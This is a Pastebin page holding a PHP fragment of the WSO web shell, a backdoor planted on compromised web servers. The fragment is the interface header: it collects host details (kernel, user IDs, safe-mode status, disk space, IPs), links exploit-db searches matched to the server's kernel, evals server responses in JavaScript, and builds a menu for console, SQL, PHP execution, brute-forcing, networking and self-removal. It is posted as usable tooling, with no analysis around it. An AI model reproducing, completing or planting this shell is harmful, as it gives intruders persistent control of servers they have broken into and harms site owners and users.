API tools faq
paste
PalmaSolutions

a9c3582af00fa4217cb84fb04cb00175.php

PalmaSolutions
Mar 29th, 2018
226
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 6.95 KB | None | 0 0
raw download clone embed print report
  1. <?php
  2. function wsoHeader() {
  3. if(empty($_POST['charset']))
  4. $_POST['charset'] = $GLOBALS['default_charset'];
  5. global $color,$font1, $font2;
  6. echo "<html><head><meta http-equiv='Content-Type' content='text/html; charset=" . $_POST['charset'] . "'><title>" . $_SERVER['HTTP_HOST'] . $shell_title ."</title>
  7. <style>
  8. body{background-color:#444;color:#e1e1e1;font: $font1}
  9. body,td,th{ font: $font1;margin:0;vertical-align:top;color:#e1e1e1; }
  10. table.info{ color:#fff;background-color:#222; }
  11. span,h1,a{ color: $color !important; font: $font1}
  12. span{ font-weight: bolder; }
  13. h1{ border-left:5px solid $color;padding: 2px 5px;font: $font2;background-color:#222;margin:0px; }
  14. div.content{ padding: 5px;margin-left:5px;background-color:#333; }
  15. a{ text-decoration:none; }
  16. a:hover{ text-decoration:underline; }
  17. .ml1{ border:1px solid #444;padding:5px;margin:0;overflow: auto; }
  18. .bigarea{ width:100%;height:300px; }
  19. input,textarea,select{ margin:0;color:#fff;background-color:#555;border:1px solid $color; font: 9pt Monospace,'Courier New'; }
  20. form{ margin:0px; }
  21. #toolsTbl{ text-align:center; }
  22. .toolsInp{ width: 300px }
  23. .main th{text-align:left;background-color:#5e5e5e;}
  24. .main tr:hover{background-color:#5e5e5e}
  25. .l1{background-color:#444}
  26. .l2{background-color:#333}
  27. pre{font-family:Courier,Monospace;}
  28. </style>
  29. <script>
  30. var c_ = '" . htmlspecialchars($GLOBALS['cwd']) . "';
  31. var a_ = '" . htmlspecialchars(@$_POST['a']) ."'
  32. var charset_ = '" . htmlspecialchars(@$_POST['charset']) ."';
  33. var p1_ = '" . ((strpos(@$_POST['p1'],"\n")!==false)?'':htmlspecialchars($_POST['p1'],ENT_QUOTES)) ."';
  34. var p2_ = '" . ((strpos(@$_POST['p2'],"\n")!==false)?'':htmlspecialchars($_POST['p2'],ENT_QUOTES)) ."';
  35. var p3_ = '" . ((strpos(@$_POST['p3'],"\n")!==false)?'':htmlspecialchars($_POST['p3'],ENT_QUOTES)) ."';
  36. var d = document;
  37. function set(a,c,p1,p2,p3,charset) {
  38. if(a!=null)d.mf.a.value=a;else d.mf.a.value=a_;
  39. if(c!=null)d.mf.c.value=c;else d.mf.c.value=c_;
  40. if(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_;
  41. if(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_;
  42. if(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_;
  43. if(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_;
  44. }
  45. function g(a,c,p1,p2,p3,charset) {
  46. set(a,c,p1,p2,p3,charset);
  47. d.mf.submit();
  48. }
  49. function a(a,c,p1,p2,p3,charset) {
  50. set(a,c,p1,p2,p3,charset);
  51. var params = 'ajax=true';
  52. for(i=0;i<d.mf.elements.length;i++)
  53. params += '&'+d.mf.elements[i].name+'='+encodeURIComponent(d.mf.elements[i].value);
  54. sr('" . addslashes($_SERVER['REQUEST_URI']) ."', params);
  55. }
  56. function sr(url, params) {
  57. if (window.XMLHttpRequest)
  58. req = new XMLHttpRequest();
  59. else if (window.ActiveXObject)
  60. req = new ActiveXObject('Microsoft.XMLHTTP');
  61. if (req) {
  62. req.onreadystatechange = processReqChange;
  63. req.open('POST', url, true);
  64. req.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded');
  65. req.send(params);
  66. }
  67. }
  68. function processReqChange() {
  69. if( (req.readyState == 4) )
  70. if(req.status == 200) {
  71. var reg = new RegExp(\"(\\\\d+)([\\\\S\\\\s]*)\", 'm');
  72. var arr=reg.exec(req.responseText);
  73. eval(arr[2].substr(0, arr[1]));
  74. } else alert('Request error!');
  75. }
  76. </script>
  77. <head><body><div style='position:absolute;width:100%;background-color:#444;top:0;left:0;'>
  78. <form method=post name=mf style='display:none;'>
  79. <input type=hidden name=a>
  80. <input type=hidden name=c>
  81. <input type=hidden name=p1>
  82. <input type=hidden name=p2>
  83. <input type=hidden name=p3>
  84. <input type=hidden name=charset>
  85. </form>";
  86. $freeSpace = @diskfreespace($GLOBALS['cwd']);
  87. $totalSpace = @disk_total_space($GLOBALS['cwd']);
  88. $totalSpace = $totalSpace?$totalSpace:1;
  89. $release = @php_uname('r');
  90. $kernel = @php_uname('s');
  91. $explink = 'http://exploit-db.com/search/?action=search&filter_description=';
  92. if(strpos('Linux', $kernel) !== false)
  93. $explink .= urlencode('Linux Kernel ' . substr($release,0,6));
  94. else
  95. $explink .= urlencode($kernel . ' ' . substr($release,0,3));
  96. if(!function_exists('posix_getegid')) {
  97. $user = @get_current_user();
  98. $uid = @getmyuid();
  99. $gid = @getmygid();
  100. $group = "?";
  101. } else {
  102. $uid = @posix_getpwuid(posix_geteuid());
  103. $gid = @posix_getgrgid(posix_getegid());
  104. $user = $uid['name'];
  105. $uid = $uid['uid'];
  106. $group = $gid['name'];
  107. $gid = $gid['gid'];
  108. }
  109.  
  110. $cwd_links = '';
  111. $path = explode("/", $GLOBALS['cwd']);
  112. $n=count($path);
  113. for($i=0; $i<$n-1; $i++) {
  114. $cwd_links .= "<a href='#' onclick='g(\"FilesMan\",\"";
  115. for($j=0; $j<=$i; $j++)
  116. $cwd_links .= $path[$j].'/';
  117. $cwd_links .= "\")'>".$path[$i]."/</a>";
  118. }
  119.  
  120. $charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866');
  121. $opt_charsets = '';
  122. foreach($charsets as $item)
  123. $opt_charsets .= '<option value="'.$item.'" '.($_POST['charset']==$item?'selected':'').'>'.$item.'</option>';
  124.  
  125. $m = array('Sec. Info'=>'SecInfo','Files'=>'FilesMan','Console'=>'Console','Sql'=>'Sql','Php'=>'Php','String tools'=>'StringTools','Bruteforce'=>'Bruteforce','Network'=>'Network');
  126. if(!empty($GLOBALS['auth_pass']))
  127. $m['Logout'] = 'Logout';
  128. $m['Self remove'] = 'SelfRemove';
  129. $menu = '';
  130. foreach($m as $k => $v)
  131. $menu .= '<th width="'.(int)(100/count($m)).'%">[ <a href="#" onclick="g(\''.$v.'\',null,\'\',\'\',\'\')">'.$k.'</a> ]</th>';
  132.  
  133. $drives = "";
  134. if($GLOBALS['os'] == 'win') {
  135. foreach(range('c','z') as $drive)
  136. if(is_dir($drive.':\\'))
  137. $drives .= '<a href="#" onclick="g(\'FilesMan\',\''.$drive.':/\')">[ '.$drive.' ]</a> ';
  138. }
  139. echo '<table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname:<br>User:<br>Php:<br>Hdd:<br>Cwd:' . ($GLOBALS['os'] == 'win'?'<br>Drives:':'') . '</span></td>'
  140. . '<td><nobr>' . substr(@php_uname(), 0, 120) . ' <a href="' . $explink . '" target=_blank>[exploit-db.com]</a></nobr><br>' . $uid . ' ( ' . $user . ' ) <span>Group:</span> ' . $gid . ' ( ' . $group . ' )<br>' . @phpversion() . ' <span>Safe mode:</span> ' . ($GLOBALS['safe_mode']?'<font color=red>ON</font>':'<font color=green><b>OFF</b></font>')
  141. . ' <a href=# onclick="g(\'Php\',null,\'\',\'info\')">[ phpinfo ]</a> <span>Datetime:</span> ' . date('Y-m-d H:i:s') . '<br>' . wsoViewSize($totalSpace) . ' <span>Free:</span> ' . wsoViewSize($freeSpace) . ' ('. (int) ($freeSpace/$totalSpace*100) . '%)<br>' . $cwd_links . ' '. wsoPermsColor($GLOBALS['cwd']) . ' <a href=# onclick="g(\'FilesMan\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[ home ]</a><br>' . $drives . '</td>'
  142. . '<td width=1 align=right><nobr><select onchange="g(null,null,null,null,null,this.value)"><optgroup label="Page charset">' . $opt_charsets . '</optgroup></select><br><span>Server IP:</span><br>' . @$_SERVER["SERVER_ADDR"] . '<br><span>Client IP:</span><br>' . $_SERVER['REMOTE_ADDR'] . '</nobr></td></tr></table>'
  143. . '<table style="border-top:2px solid #333;" cellpadding=3 cellspacing=0 width=100%><tr>' . $menu . '</tr></table><div style="margin:5">';
  144. }
Advertisement
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!